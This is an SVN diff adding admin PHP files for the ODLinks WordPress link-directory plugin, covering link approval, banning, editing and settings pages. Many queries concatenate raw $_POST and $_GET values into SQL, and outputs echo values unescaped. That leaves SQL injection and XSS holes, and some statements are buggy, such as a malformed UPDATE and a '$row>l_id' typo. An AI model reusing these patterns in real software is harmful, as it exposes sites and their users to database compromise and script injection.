+			case "odlinksutilities":
+				process_odlinksutilities();
+			break;
+		}
+		?>
+	</div>
+	<?php
+
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/admin/odl_admin_functions.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/admin/odl_admin_functions.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/admin/odl_admin_functions.php	(revision 44)
@@ -0,0 +1,546 @@
+<?php
+
+/*
+ * odl_admin_structure.php
+ * wordpress plugin open directory project
+ * @author Mohammad Forgani
+ * @copyright Copyright 2008, Oh Jung-Su
+ * @version 1.0.0-a
+ * @link http://www.forgani.com
+ */
+
+
+function process_odlinksposts(){
+	global $_GET, $_POST, $table_prefix, $PHP_SELF, $wpdb;
+	$odlinkssettings=get_option('odlinksdata');
+	$loadpage=true;
+
+	?>
+	<div class="wrap"><h2>ODLinks - Edit/Remove links</h2><p>	
+	<input type="button" value="Main" onclick="document.location.href='<?php echo $PHP_SELF;?>?page=odlinksposts&odlinks_admin_page_arg=<?php echo $_GET['odlinks_admin_page_arg'];?>&odlinks_admin_action=main&id=0';">
+
+	<input type="button" value="Approve" onclick="document.location.href='<?php echo $PHP_SELF;?>?page=odlinksposts&odlinks_admin_page_arg=<?php echo $_GET['odlinks_admin_page_arg'];?>&odlinks_admin_action=approvelinks&id=0';">
+
+	<input type="button" value="Banned" onclick="document.location.href='<?php echo $PHP_SELF;?>?page=odlinksposts&odlinks_admin_page_arg=<?php echo $_GET['odlinks_admin_page_arg'];?>&odlinks_admin_action=bannedlinks&id=0';">
+
+	<?php
+	switch($_GET['odlinks_admin_action']){
+		case "main":
+			odlinksadmin_main_links($_GET['id']*1, $_GET['action']);
+			$loadpage=false;
+		break;
+		case "approvelinks":
+			odlinksadmin_approve_links($_GET['id']*1, $_GET['action']);
+			$loadpage=false;
+		break;
+		case "bannedlinks":
+			odlinksadmin_banned_links($_GET['id']*1, $_GET['action']);
+			$loadpage=false;
+		break;
+		case "editlinks":
+			odlinksadmin_edit_links($_GET['id']*1);
+			$loadpage=false;
+		break;
+		case "editban":
+			odlinksadmin_edit_ban($_GET['id']*1);
+			$loadpage=false;
+		break;
+	}
+
+	if($msg!='')
+		echo '<div id="message" class="updated fade">' . $msg . '</div>';
+	if($loadpage==true) 
+		odlinksadmin_main_links(0, 0);
+	echo '</div>';
+}
+
+
+function odlinksadmin_approve_links($id, $action){
+	global $_GET, $_POST, $wpdb, $table_prefix;
+	$odlinkssettings=get_option('odlinksdata');
+	$linkb=$PHP_SELF."?page=odlinksposts&odlinks_admin_page_arg=odlinksposts";
+	if(isset($id) && $action){ 
+		switch($action){ 
+			case "ok": 
+				?><p>Approving new link ....</p><? 
+				$sql="SELECT * FROM {$table_prefix}odnew_links WHERE n_id=$id";
+				$news=$wpdb->get_results($sql); 
+				for($i=0; $i<count($news); $i++){
+					$new=$news[$i];
+					$warning=""; 
+					$sql="SELECT * FROM {$table_prefix}odlinks";
+					$result=$wpdb->get_results($sql); 
+					for($x=0; $x<count($result); $x++){
+						$row=$result[$x];
+						if($new->n_url == $row>l_id){ 
+							$warning .= '<font color=red>Warning: This URL already exists:';
+							$warning .= '<a href="'. $linkb . '&odlinks_admin_action=main&id=' .$row->l_id. '">';
+							$warning .= '<img border=0 src="'. get_bloginfo('wpurl') . '"/wp-content/plugins/odlinks/images/edit.gif"></a></font><p>';
+						}
+					}
+					?> 
+					<form method="post" id="odl_form_post" name="odl_form_post" action="<?php echo $linkb ?>&odlinks_admin_action=approvelinks&id=<?php echo $new->n_id; ?>&action=insert">
+					<input type="hidden" name="odlinksdata[new_link]" value="1"> <?php $warning?> URL:<br>
+					<input type="text" name="odlinksdata[url]" value="<?php echo $new->n_url?>" size="80"> 
+						<a target="_blank" href="<?php $new->n_url?>"><img src="<?php echo get_bloginfo('wpurl'); ?>/wp-content/plugins/odlinks/images/nw2.png"></a> <p> Title:<br>
+					<input type="text" name="odlinksdata[title]" value="<?php echo $new->n_title; ?>" size="80"> <p> Email:<br>
+					<input type="text" name="odlinksdata[email]" value="<?php echo $new->n_email; ?>" size="80"> 
+						<p> Description:<br>
+						<textarea rows="5" name="odlinksdata[description]" cols="60"><?php echo $new->n_description?></textarea> 
+						<p> Visible?<br> 
+						<select name="odlinksdata[visible]"> 
+						<option value="1">visible</option> 
+						<option value="0">hide</option>
+						</select><p> Category:<br> 
+						<select name="odlinksdata[parent]"> 
+							<? 
+							odl_list_cats(0,0,0,$new->n_category);
+							?> </select> <p> 
+					<input  type="submit" value="Add Link!">&nbsp;&nbsp;<input type=button value="Cancel" onclick="history.go(-1);"></form> 
+					<?
+				}
+			break; 
+			case "delete": 
+				if(isset($_POST['odlinksdata']['delete_link'])){ 
+					?><h3>Deleted link...</h3><? 
+					$sql="SELECT * FROM {$table_prefix}odnew_links WHERE n_id=$id";
+					$results=$wpdb->get_results($sql); 
+					for($i=0; $i<count($results); $i++){
+						$row=$results[$i];
+						echo "URL: ".$row->n_url."<br>"; 
+						echo "Title: ".$row->n_title."<br>"; 
+						echo "Description: ".$row->n_description."<br>"; 
+						echo "Email: ".$row->n_email."<br>"; 
+					}
+
+					$url_back = admin_url("admin.php?page=odlinksposts&odlinks_admin_page_arg=odlinksposts&odlinks_admin_action=approvelinks");
+					echo '<p><form method="post" action="'.$url_back.'"><input type="submit" value="&#060;&#060; Back"></form></p>';
+
+					$sql="DELETE FROM {$table_prefix}odnew_links WHERE n_id=$id"; 
+					$wpdb->query($sql); 
+				}else{ 
+					?><h3>Removing a new link...</h3><? 
+					$sql="SELECT * FROM {$table_prefix}odnew_links WHERE n_id=$id";
+					$results=$wpdb->get_results($sql); 
+					for($i=0; $i<count($results); $i++){
+						$row=$results[$i];
+					?>
+					<form method="post" id="odl_form_post" name="odl_form_post" action="<?php echo $linkb ?>&odlinks_admin_action=approvelinks&action=delete&id=<?php echo $id; ?>" method="POST">
+					<p>Are you sure you want to delete the website <strong><?php echo $row->n_url ?></strong>?</p> 
+					<input type="submit" name="odlinksdata[delete_link]" value="Delete Link">&nbsp;&nbsp;<input type=button value="Cancel" onclick="history.go(-1);"></form>
+					<?php
+					}
+				} 
+			break; 
+			case "insert":
+					$url=$_POST['odlinksdata']['url'];
+                    $title=$_POST['odlinksdata']['title'];
+                    $description=$_POST['odlinksdata']['description'];
+                    $parent=$_POST['odlinksdata']['parent'];
+                    $email=$_POST['odlinksdata']['email'];
+                    $sql="INSERT INTO {$table_prefix}odlinks (l_url, l_title, l_description, l_c_id, l_date, l_hide, l_author_mail) VALUES ('".$url."', '".$title."', '".$description."', '".$parent."', '".date("Y-m-d")."', 'visible', '".$email."')";
+                    $wpdb->query($sql);
+                    ?>
+                    <p>New link added:</p>
+                    <br> URL: <?php echo $url?>
+                    <br> Title: <?php echo $title?>
+                    <br> Email: <?php echo $email?>
+                    <br> Description: <?php echo $description?>
+                    <br> Category id: <?php echo $parent?>
+                    <?php
+                    $url_back = admin_url("admin.php?page=odlinksposts&odlinks_admin_page_arg=odlinksposts&odlinks_admin_action=approvelinks");
+                    echo '<p><form method="post" action="'.$url_back.'"><input type="submit" value="&#060;&#060; Back"></form></p>';
+                    $sql="DELETE FROM {$table_prefix}odnew_links WHERE n_url='$url'";
+                    $wpdb->query($sql);
+            break;
+
+			case "edit":
+                    $id=$_POST['odlinksdata']['id'];
+                    $url=$_POST['odlinksdata']['url'];
+                    $title=$_POST['odlinksdata']['title'];
+                    $description=$_POST['odlinksdata']['description'];
+                    $parent=$_POST['odlinksdata']['parent'];
+                    $email=$_POST['odlinksdata']['email'];
+                    $sql="update {$table_prefix}odlinks (l_url, l_title, l_description, l_c_id, l_hide, l_author_mail) VALUES ('".$url."', '".$title."', '".$description."', '".$parent."', 'visible', '".$email."') WHERE l_id=" .$id;
+                    $wpdb->query($sql);
+                    ?>
+                     <p>Updated:</p>
+                     <br> URL: <?php echo $url?>
+                     <br> Title: <?php echo $title?>
+                     <br> Email: <?php echo $email?>
+                     <br> Description: <?php echo $description?>
+                     <br> Category id: <?php echo $parent?> <p>
+                     <p>
+                     <?php
+            break;
+			case "ban": 
+				if(isset($_POST['odlinksdata']['new_ban'])){ 
+					$new_ban_url=$_POST['odlinksdata']['new_ban_url']; 
+					?>
+					<h3><?php echo $new_ban_url; ?>The site removed from the approval list.</h3>
+					<?php 
+					$sql="DELETE FROM {$table_prefix}odnew_links WHERE n_id=". $id; 
+					$wpdb->query($sql);
+					$sql="INSERT INTO {$table_prefix}odbanned (c_domain) VALUES('".$new_ban_url."')"; 
+					$wpdb->query($sql);
+					echo "and added as ban to the banned list!";
+				}else{ 
+					?><h3>Banning a new link/site ...</h3>
+					<?php
+					$sql="SELECT * FROM {$table_prefix}odnew_links WHERE n_id=".$id;
+					$results=$wpdb->get_results($sql); 
+					for($i=0; $i<count($results); $i++){
+						$row=$results[$i];
+					?>
+					<form method="post" id="odl_form_post" name="odl_form_post"  action="<?php echo $linkb ?>&odlinks_admin_action=approvelinks&id=<?php echo $row->n_id; ?>&action=ban" method="POST">
+					The URL, or URL parts to be added to the "banned URLs" list:<br /> 
+					<input  type="text" name="odlinksdata[new_ban_url]" size="80" value="<?php echo $row->n_url?>"><p> 
+					<input  type="submit" name="odlinksdata[new_ban]" value="Submit">&nbsp;&nbsp;<input type=button value="Cancel" onclick="history.go(-1);"></form>
+					<?
+					}
+				} 
+			break;
+		}
+	}else{ 
+		?>
+		<p>Newly submitted links ready to be approved:</P>
+		<? 
+		$sql="SELECT * FROM {$table_prefix}odnew_links LIMIT 0, 10";
+		$results=$wpdb->get_results($sql); 
+		if(!empty($results)){
+			?> 
+			<table width="100%" cellspacing="0" cellpadding="0" bgcolor="#FFFFFF"><tr><td>
+			<table width="100%" cellspacing="1" cellpadding="3" border="0"><tr bgcolor="#CCCCCC"><td>Ok</td>
+			<td>Website URL </td> 
+			<td>Title & Description</td> 
+			<td width="3%">Category</td> <td nowrap>Email</td>
+			<td>Delete</td><td>Ban</td> </tr> 
+			<?
+			for($i=0; $i<count($results); $i++){
+				$row=$results[$i];
+				?>
+				<tr bgcolor="#F4F4F4" onMouseOver="this.bgColor='#FFFFFF';" onMouseOut="this.bgColor='#F4F4F4';"><td>
+				<a href="<?php echo $linkb; ?>&odlinks_admin_action=approvelinks&id=<?php echo $row->n_id;?>&action=ok">
+				<img border="0" src="<?php echo get_bloginfo('wpurl'); ?>/wp-content/plugins/odlinks/images/ok.gif"></a></td>
+				<? 
+				print "<td><font color=green>".$row->n_url."</font></td>";
+				print "<td><a target=\"_blank\" href=\"".$row->n_url."\">".$row->n_title."</a>"; 
+				print "<br />".$row->n_description."</font></td>";
+				print "<form><td><select>"; 
+				odl_list_cats(0,0,0,$row->n_category);
+				print "</select></td></form>";
+				print "<td>".$row->n_email."</td>"; ?><td>
+				<a href="<?php echo $linkb ?>&odlinks_admin_action=approvelinks&id=<?php echo $row->n_id?>&action=delete"><img border="0" src="<?php echo get_bloginfo('wpurl'); ?>/wp-content/plugins/odlinks/images/delete.png"></a></td><td>
+				<a href="<?php echo $linkb ?>&odlinks_admin_action=approvelinks&id=<?php echo $row->n_id?>&action=ban"><img border="0" src="<?php echo get_bloginfo('wpurl'); ?>/wp-content/plugins/odlinks/images/ban.jpg"></a></td></tr><?
+			} ?>
+			</table></td></tr></table><?
+		}
+	} 
+}
+
+
+function odlinksadmin_banned_links($id, $action){
+	global $_GET, $_POST, $wpdb, $table_prefix;
+	$odlinkssettings=get_option('odlinksdata');
+	$linkb=$PHP_SELF."?page=odlinksposts&odlinks_admin_page_arg=odlinksposts";
+	if(isset($id) && $action){ 
+		switch($action){ 
+			case "insert":
+				$url=$_POST['odlinksdata']['url'];
+				$sql="INSERT INTO {$table_prefix}odbanned (c_domain) VALUES('".$url."')"; 
+				$wpdb->query($sql);
+				?> 
+				<p>The record added to the list of banned IP addresses.</p>
+				<b>Record:</b> <?php echo $url?><br>
+				<?php
+				$url_back = admin_url("admin.php?page=odlinksposts&odlinks_admin_page_arg=odlinksposts&odlinks_admin_action=bannedlinks");
+				echo '<p><form method="post" action="'.$url_back.'"><input type="submit" value="&#060;&#060; Back"></form></p>';
+			break; 
+			case "edit":
+				$sql="SELECT * FROM {$table_prefix}odbanned WHERE b_id=$id";
+				$results=$wpdb->get_results($sql);
+				for($i=0; $i<count($results); $i++){
+					$row=$results[$i];
+					?> 
+					<P>
+					<style type="text/css">
+					fieldset {
+					padding: 1em;
+					font:12px;
+					font-weight:bold;
+					border:1px solid #ddd;
+					}
+					label {
+					float:left;
+					width:25%;
+					margin-right:0.5em;
+					padding-top:0.2em;
+					text-align:right;
+					font-weight:bold;}
+					</style>
+				
+					<form method="post" id="odl_form_post" name="odl_form_post" action="<?php echo $linkb ?>&odlinks_admin_action=editban&id=<?php echo $row->b_id; ?>">
+					<fieldset>
+					<legend>Edit Banned Strings/Urls</legend>
+					<input type="hidden" name="odlinksdata[id]" value="<?php echo $row->b_id; ?>">
+					<label>String:</label>
+					<input type="text" name="odlinksdata[url]" value="<?php echo $row->c_domain; ?>" size="80"> 
+					<P><label>&nbsp;</label>
+					<input  type="submit" value="Save">&nbsp;&nbsp;<input type=button value="Cancel" onclick="history.go(-1);">
+					</fieldset>	
+					</form> 
+					<?
+				}
+			break; 
+			case "delete": 
+				if(isset($_POST['odlinksdata']['delete_ban'])){ 
+					?><h3>The selected ban record deleted from the list successfully.</h3><? 
+					$sql="SELECT * FROM {$table_prefix}odbanned WHERE b_id=$id";
+					$results=$wpdb->get_results($sql); 
+					for($i=0; $i<count($results); $i++){
+						$row=$results[$i];
+						echo "<b>Record: </b>".$row->c_domain."<br>"; 
+					}
+					$url_back = admin_url("admin.php?page=odlinksposts&odlinks_admin_page_arg=odlinksposts&odlinks_admin_action=bannedlinks");
+					echo '<p><form method="post" action="'.$url_back.'"><input type="submit" value="&#060;&#060; Back"></form></p>';
+
+					$sql="DELETE FROM {$table_prefix}odbanned WHERE b_id=$id"; 
+					$wpdb->query($sql); 
+				}else{ 
+					?><h3>Removing a Banned record...</h3><? 
+					$sql="SELECT * FROM {$table_prefix}odbanned WHERE b_id=$id";
+					$results=$wpdb->get_results($sql);
+					for($i=0; $i<count($results); $i++){
+						$row=$results[$i];
+					?>
+					<form method="post" id="odl_form_post" name="odl_form_post" action="<?php echo $linkb ?>&odlinks_admin_action=bannedlinks&id=<?php echo $id; ?>&action=delete" method="POST">
+					<p>Are you sure you want to delete this entry?<br>
+					<strong>String: </strong><?php echo $row->c_domain?></p> 
+					<input type="submit" name="odlinksdata[delete_ban]" value="Delete Ban">&nbsp;&nbsp;<input type=button value="Cancel" onclick="history.go(-1);"></form>
+					<?
+					}
+				} 
+			break; 
+		}
+	}else{ 
+		?>
+		<p>This page displays the banned IP/URL addresses.<br>
+		You can choose to edit or delete a specific ban record.<br>
+		The URLs that contains any banned string will be automatically rejected.</p>
+		<p><b>Add a banned address to the list</b><br>
+		<form method="post" id="odl_form_post" name="odl_form_post" action="<?php echo $linkb ?>&odlinks_admin_action=bannedlinks&id=<?php echo $new->b_id; ?>&action=insert">
+		<input type="hidden" name="odlinksdata[ban_link]" value="1"> <?php $warning?> 
+		Record:	<input type="text" name="odlinksdata[url]" value="<?php echo $new->b_url?>" size="40"> 
+		<input type="submit" value="Add Ban!"></p>
+		<HR>
+		<? 
+		$sql="SELECT * FROM {$table_prefix}odbanned";
+		$results=$wpdb->get_results($sql);
+		if(!empty($results)){
+			?> 
+			<table width="100%" cellspacing="0" cellpadding="0" bgcolor="#FFFFFF"><tr><td>
+			<table width="100%" cellspacing="1" cellpadding="3" border="0"><tr bgcolor="#CCCCCC">
+			<td>Edit URL/IP/String</td>
+			<td>Delete</td></tr> 
+			<?
+			for($i=0; $i<count($results); $i++){
+				$row=$results[$i];
+				?>
+				<tr bgcolor="#F4F4F4" onMouseOver="this.bgColor='#FFFFFF';" onMouseOut="this.bgColor='#F4F4F4';">
+				<? 
+				echo "<td><a href=\"".$linkb."&odlinks_admin_action=bannedlinks&action=edit&id=".$row->b_id."\">".$row->c_domain."</a>";
+				echo "<td><a href=\"". $linkb ."&odlinks_admin_action=bannedlinks&action=delete&id=".$row->b_id ."\"><img border=0 src=\"" .get_bloginfo('wpurl'). "/wp-content/plugins/odlinks/images/delete.png\"</a>"; 
+			} 
+			?>
+			</table></td></tr></table><?
+		}
+	} 
+} // odlinksadmin_banned_links
+
+
+function odlinksadmin_edit_links($id){
+	global $_GET, $_POST, $wpdb, $table_prefix;
+	$odlinkssettings=get_option('odlinksdata');
+	if(isset($id)){ 
+		$id=$_POST['odlinksdata']['id'];
+		$title=$_POST['odlinksdata']['title'];
+		$url=$_POST['odlinksdata']['url'];
+		$description=$_POST['odlinksdata']['description'];
+		$parent=$_POST['odlinksdata']['parent'];
+		$email=$_POST['odlinksdata']['email']; 
+		$sql="update {$table_prefix}odlinks set l_url='".$url."',
+		l_title = '".$title."', l_description='".$description."',
+		l_c_id='".$parent."', l_hide='visible', l_author_mail='".$email."' WHERE l_id=" .$id; 
+		$wpdb->query($sql);
+		?> 
+		<p>Record updated successfully.</p>
+		<br> URL: <?php echo $url?>
+		<br> Title: <?php echo $title?>
+		<br> Email: <?php echo $email?>
+		<br> Description: <?php echo $description?>
+		<br> Category id: <?php echo $parent?><br>
+		<?php 
+		$url_back = admin_url("admin.php?page=odlinksposts&odlinks_admin_page_arg=odlinksposts&odlinks_admin_action=main");
+		echo '<p><form method="post" action="'.$url_back.'"><input type="submit" value="&#060;&#060; Back"></form></p>';
+	} 
+}
+
+function odlinksadmin_edit_ban($id){
+	global $_GET, $_POST, $wpdb, $table_prefix;
+	$odlinkssettings=get_option('odlinksdata');
+
+	if(isset($id)){ 
+		$id=$_POST['odlinksdata']['id'];
+		$url=$_POST['odlinksdata']['url'];
+		$sql="update {$table_prefix}odbanned set c_domain='".$url."' WHERE b_id=" .$id; 
+		$wpdb->query($sql);
+		?> 
+		<p>Record updated successfully.</p>
+		<b>String: </b><?php echo $url?><br> 
+		<? 
+		$url_back = admin_url("admin.php?page=odlinksposts&odlinks_admin_page_arg=odlinksposts&odlinks_admin_action=bannedlinks");
+		echo '<p><form method="post" action="'.$url_back.'"><input type="submit" value="&#060;&#060; Back"></form></p>';
+	} 
+}
+
+function odlinksadmin_main_links($id, $action){
+	global $table_prefix, $wpdb, $_GET;
+	$linkb=$PHP_SELF."?page=odlinksposts&odlinks_admin_page_arg=odlinksposts";
+	if(isset($id) && $action){ 
+		switch($action){ 
+			case "delete": 
+				if(isset($_POST['odlinksdata']['delete_link'])){ 
+					?><h3>Deleted link...</h3><?
+					$sql="SELECT * FROM {$table_prefix}odlinks WHERE l_id=$id";
+					$results=$wpdb->get_results($sql); 
+					for($i=0; $i<count($results); $i++){
+						$row=$results[$i];
+						echo "URL: ".$row->l_url."<br>"; 
+						echo "Title: ".$row->l_title."<br>"; 
+						echo "Description: ".$row->l_description."<br>"; 
+						echo "Email: ".$row->l_author_mail."<br>"; 
+					}
+					$sql="DELETE FROM {$table_prefix}odlinks WHERE l_id=$id"; 
+					$wpdb->query($sql); 
+				}else{ 
+					?><h3>Deleted link ....</h3><? 
+					$sql="SELECT * FROM {$table_prefix}odlinks WHERE l_id=$id";
+					$results=$wpdb->get_results($sql); 
+					for($i=0; $i<count($results); $i++){
+						$row=$results[$i];
+					?>
+					<form method="post" id="odl_form_post" name="odl_form_post"  action="<?php echo $linkb ?>&odlinks_admin_action=main&id=<?php echo $id; ?>&action=delete">
+					<p>Are you sure you want to delete the website <strong><?php echo $row->l_url?></strong>?</p> 
+					<input type="submit" name="odlinksdata[delete_link]" value="Delete Link">&nbsp;&nbsp;<input type=button value="Cancel" onclick="history.go(-1);"></form>
+					<?php
+					}
+				}
+			break; 
+		}
+	} else{ 
+		$results=$wpdb->get_results("SELECT * FROM {$table_prefix}odlinks WHERE l_id='".$id."'");
+		if(!empty($results)) {
+			for($i=0; $i<count($results); $i++){
+				$row=$results[$i];
+				?> 
+				<P>
+				<style type="text/css">
+				fieldset {
+				  padding: 1em;
+				  font:12px;
+				  font-weight:bold;
+				  border:1px solid #ddd;
+				}
+				label {
+				  float:left;
+				  width:25%;
+				  margin-right:0.5em;
+				  padding-top:0.2em;
+				  text-align:right;
+				  font-weight:bold;}
+				 </style>
+				
+				<form method="post" id="odl_form_post" name="odl_form_post" action="<?php echo $linkb ?>&odlinks_admin_action=editlinks&id=<?php echo $row->l_id; ?>">
+				<fieldset>
+				<legend>Edit Website</legend>
+				<input type="hidden" name="odlinksdata[id]" value="<?php echo $row->l_id; ?>">
+				<label>URL:</label>
+				<input type="text" name="odlinksdata[url]" value="<?php echo $row->l_url; ?>" size="80"> 
+				<br><label>Title:</label>
+				<input type="text" name="odlinksdata[title]" value="<?php echo $row->l_title; ?>" size="80">
+				<br><label>Email:</label>
+				<input type="text" name="odlinksdata[email]" value="<?php echo $row->l_author_mail; ?>" size="80">
+				<br><label>Description:</label>
+				<textarea rows="5" name="odlinksdata[description]" cols="60"><?php echo $row->l_description; ?></textarea>
+				<br><label>Visible?</label>
+				<select name="odlinksdata[visible]"> 
+				<? 
+				if($row->l_hide == 'visible'){ 
+					$yes="SELECTED";
+				} else{ 
+					$no="SELECTED";
+				} 
+				?> 
+				<option <?php $yes?> value="1">Yes</option> 
+				<option <?php $no?> value="0">No</option> 
+				</select>
+				<br><label>Category:</label><select name="odlinksdata[parent]"> <?php odl_list_cats(0,0,0,$row->l_c_id); ?> </select>
+				<P><label>&nbsp;</label>
+				<input  type="submit" value="Save Link!">&nbsp;&nbsp;<input type=button value="Cancel" onclick="history.go(-1);">
+				</fieldset>	
+				</form> 
+				<?
+			}
+		} else {
+			$sql="SELECT COUNT(l_id) as count FROM {$table_prefix}odlinks";
+			$result=$wpdb->get_row($sql, ARRAY_A); 
+			$NumberOfResults=$result['count']; 
+			$sql="SELECT * FROM {$table_prefix}odlinks";
+			$results=$wpdb->get_results($sql); 
+			if(!empty($results)){
+				?> 
+				<p>&nbsp</p>
+				<table width="100%" cellspacing="0" cellpadding="0" bgcolor="#FFFFFF"><tr>
+				<td>
+				<table width="100%" cellspacing="1" cellpadding="3" border="0">
+				<tr bgcolor="#CCCCCC">
+				<td>Edit</td> 
+				<td>WebSite URL</td> 
+				<td>Visible</td> 
+				<td>Title</td> 
+				<td nowrap>Date</td> 
+				<td> </td> 
+				<td>Delete</td> </tr> 
+				<? 
+				for($x=0; $x<count($results); $x++){
+					$row=$results[$x];
+					?> 
+					<tr bgcolor="#F4F4F4" onMouseOver="this.bgColor='#FFFFFF';" onMouseOut="this.bgColor='#F4F4F4';"> 
+					<td><a href="<?php echo $linkb ?>&odlinks_admin_action=main&id=<?php echo $row->l_id ?>">
+					<img border=0 src="<?php echo get_bloginfo('wpurl'); ?>/wp-content/plugins/odlinks/images/edit.gif"></td>
+					<td><?php echo $row->l_url ?></td>
+					<?
+					if($row->l_hide == "visible"){ 
+						$new_link="<font color=blue>Yes</font>";
+					} else{ 
+						$new_link="<font color=purple>No</font>";
+					} 
+					echo "<td>".$new_link."</td>"; 
+					echo "<td><a target=\"_blank\" href=\"".$row->l_url."\">".$row->l_title."</a></td>"; print "<td nowrap>".$row->l_date."</td>"; print "<td>";
+					echo"</td>"; 
+					echo "<td><a href=\"". $linkb ."&odlinks_admin_action=main&action=delete&id=".$row->l_id ."\"><img border=0 src=\"" .get_bloginfo('wpurl'). "/wp-content/plugins/odlinks/images/delete.png\"</a>"; 
+					?> </td></tr> 
+					<?
+				} //for main links
+				?>  
+				</table></td></tr>
+				</table> 
+				<?
+			} // for 
+		} // else
+	}
+	return $msg;
+}
+
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/admin/odl_admin_settings.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/admin/odl_admin_settings.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/admin/odl_admin_settings.php	(revision 44)
@@ -0,0 +1,417 @@
+<?php
+
+/*
+ * odl_functions.php
+ * wordpress plugin website directory project
+ * This file contains the ODLinks functions
+ * @author website: http://www.forgani.com
+ * @copyright Copyright 2008, Mohammad Forgani
+ * @version 1.0
+ * @link 
+*/
+
+function process_odlinkssettings(){
+	global $_GET, $_POST, $wp_rewrite, $PHP_SELF, $wpdb, $table_prefix, $odlinksversion, $wp_version;
+
+	$odlinkssettings = get_option('odlinksdata');
+	
+	switch ($_GET['odlinks_admin_action']){
+		case "savesettings":
+		foreach ($_POST["odlinksdata"] as $k=>$v){
+			$_POST["odlinksdata"][$k] = stripslashes($v);
+		}
+		$_POST['odlinksdata']['odlinksinstalled'] = 'y';
+		$_POST['odlinksdata']['odlinksversion'] = $odlinksversion;
+		$odl_new_slug = $_POST['odlinksdata']['odlinksslug'];
+		$odlinkssettings = get_option('odlinksdata');
+		$odl_slug_check = $wpdb->get_results("SELECT post_name FROM {$table_prefix}posts WHERE post_name = '".$wpdb->escape($odl_new_slug)."'");
+		$odl_slug_checked = $odl_slug_check[0];
+		$odlinkswp_pageinfo = $wpdb->get_row("SELECT * FROM {$table_prefix}posts WHERE post_title = '[[ODLINKS]]'", ARRAY_A);
+
+		if ($odlinkswp_pageinfo["post_title"]!="[[ODLINKS]]"){
+			$odlinkswp_pageinfo = odlinkscreate_page();
+		}
+
+		$msg = "Settings Updated.";
+
+		if($odl_new_slug!=$odlinkssettings['odlinksslug']){
+			if($odl_slug_checked->post_name!=$odl_new_slug){
+				$wpdb->query("UPDATE {$table_prefix}posts SET post_name = '".$odl_new_slug."' WHERE post_title = '[[ODLINKS]]'");
+				$msg ="Settings Updated.";
+			}else{	
+				$msg ="Settings Updated but a Slug exists with the name: ".$odl_new_slug."<br />"."Try Again.";
+				$_POST['odlinksdata']['odlinksslug'] = $odlinkssettings['odlinksslug'];
+			}
+		}
+
+		$odlinksnew_settings = array();
+		$odlinksnew_settings = $_POST['odlinksdata'];
+		update_option('odlinksdata', $odlinksnew_settings);
+		$wp_rewrite->flush_rules();
+		odlinkscheck_db();
+		$odlinkssettings = get_option('odlinksdata');
+		break;
+	}
+
+	odlinksinstall();
+
+	if ($msg!=''){
+		?>
+		<div id="message" class="updated fade">
+			<?php echo $msg;?>
+		</div>
+		<?php
+	}
+
+	$odlinkssettings = get_option('odlinksdata');
+
+	$selflink = ($wp_rewrite->get_page_permastruct()=="")?"<a href=\"".get_bloginfo('url')."/index.php?pagename=".$odlinkssettings['odlinksslug']."\">".get_bloginfo('url')."/index.php?pagename=".$odlinkssettings['odlinksslug']."</a>":"<a href=\"".get_bloginfo('url')."/".$odlinkssettings['odlinksslug']."/\">".get_bloginfo('url')."/".$odlinkssettings['odlinksslug']."/</a>";
+
+	$pageinfo = odlinksget_pageinfo();
+	?>
+	<div class="wrap">
+	<h2>General Settings</h2>
+	<p>
+	<form method="post" id="odl_form_post" name="odl_form_post" action="<?php echo $PHP_SELF;?>?page=odlinks&odlinks_admin_page_arg=<?php echo $_GET['odlinks_admin_page_arg'];?>&odlinks_admin_action=savesettings">
+		<input type="hidden" name="odlinksdata[odlinksversion]" value="<?php echo $odlinksversion;?>">
+		<table border="0" class="editform">
+			<tr>
+			<th align="right">odlinks Version:</th>
+			<td><?php echo $odlinksversion;?></td>
+			</tr>
+			<tr><th align="right">WordPress Version:</th>
+			<td><?php echo $wp_version;?></td>
+			</tr>
+			<tr><th align="right">odlinks URL:</th>
+			<td><?php echo $selflink;?></td>
+			</tr>
+			<tr><th align="right">odlinks Slug:</th>
+			<td><input type="text" size="25" name="odlinksdata[odlinksslug]" value="<?php echo str_replace('"', "&quot;", stripslashes($odlinkssettings['odlinksslug']));?>">
+			</td>
+			</tr>
+			<tr>
+			<th align="right">&nbsp;</th>
+			<td><input type="checkbox" name="odlinksdata[odlinksshow_credits]" value="y"<?php echo ($odlinkssettings['odlinksshow_credits']=='y')?" checked":"";?>> Display odlinks credit line at the bottom of ODLinks pages
+			</td>
+			</tr>
+			<tr>
+			<th align="right">ODLinks Page Link Name:</th>
+			<td><input type="text" name="odlinksdata[page_link_title]" value="<?php echo $odlinkssettings['page_link_title'];?>">
+			</td>
+			</tr>	
+			<tr><th align="right">Number Of 'Last Links':</th>
+			<td>
+			<input type="text" size="4" name="odlinksdata[odlinks_last_links_num]" value="<?php echo ($odlinkssettings['odlinks_last_links_num']);?>" onchange="this.value=this.value*1;">
+			</td>
+			</tr>
+			<tr><th align="right">&nbsp;</th>
+			<td><input type="checkbox" name="odlinksdata[odlinks_last_links]" value="y"<?php echo ($odlinkssettings['odlinks_last_links']=='y')?" checked":"";?>>	Display 'Last Links' Post.
+			</td>
+			</tr>
+			<tr><th align="right">Excerpt Length:</th>
+			<td><input type="text" size="4" name="odlinksdata[odlinks_excerpt_length]" value="<?php echo ($odlinkssettings['odlinks_excerpt_length']);?>" onchange="this.value=this.value*1;">
+			</td>
+			</tr>
+			<tr><th align="right">Display # of new/updated links:</th>
+			<td><input type="text" size="4" name="odlinksdata[odlinks_new_links]" value="<?php echo ($odlinkssettings['odlinks_new_links']);?>" onchange="this.value=this.value*1;">
+			</td>
+			</tr>
+			<tr><th align="right">of subcategories under each category link:</th>
+			<td><input type="text" size="4" name="odlinksdata[odlinks_sub_cat_num]" value="<?php echo ($odlinkssettings['odlinks_sub_cat_num']);?>" onchange="this.value=this.value*1;">
+			</td>
+			</tr>
+			<tr><th align="right">of subcategories to display under each category:</th>
+			<td><input type="text" size="4" name="odlinksdata[odlinks_num_links]" value="<?php echo ($odlinkssettings['odlinks_num_links']);?>" onchange="this.value=this.value*1;">
+			</td>
+			</tr>
+				
+			<tr><th align="right">number of links per page to display in categories:</th>
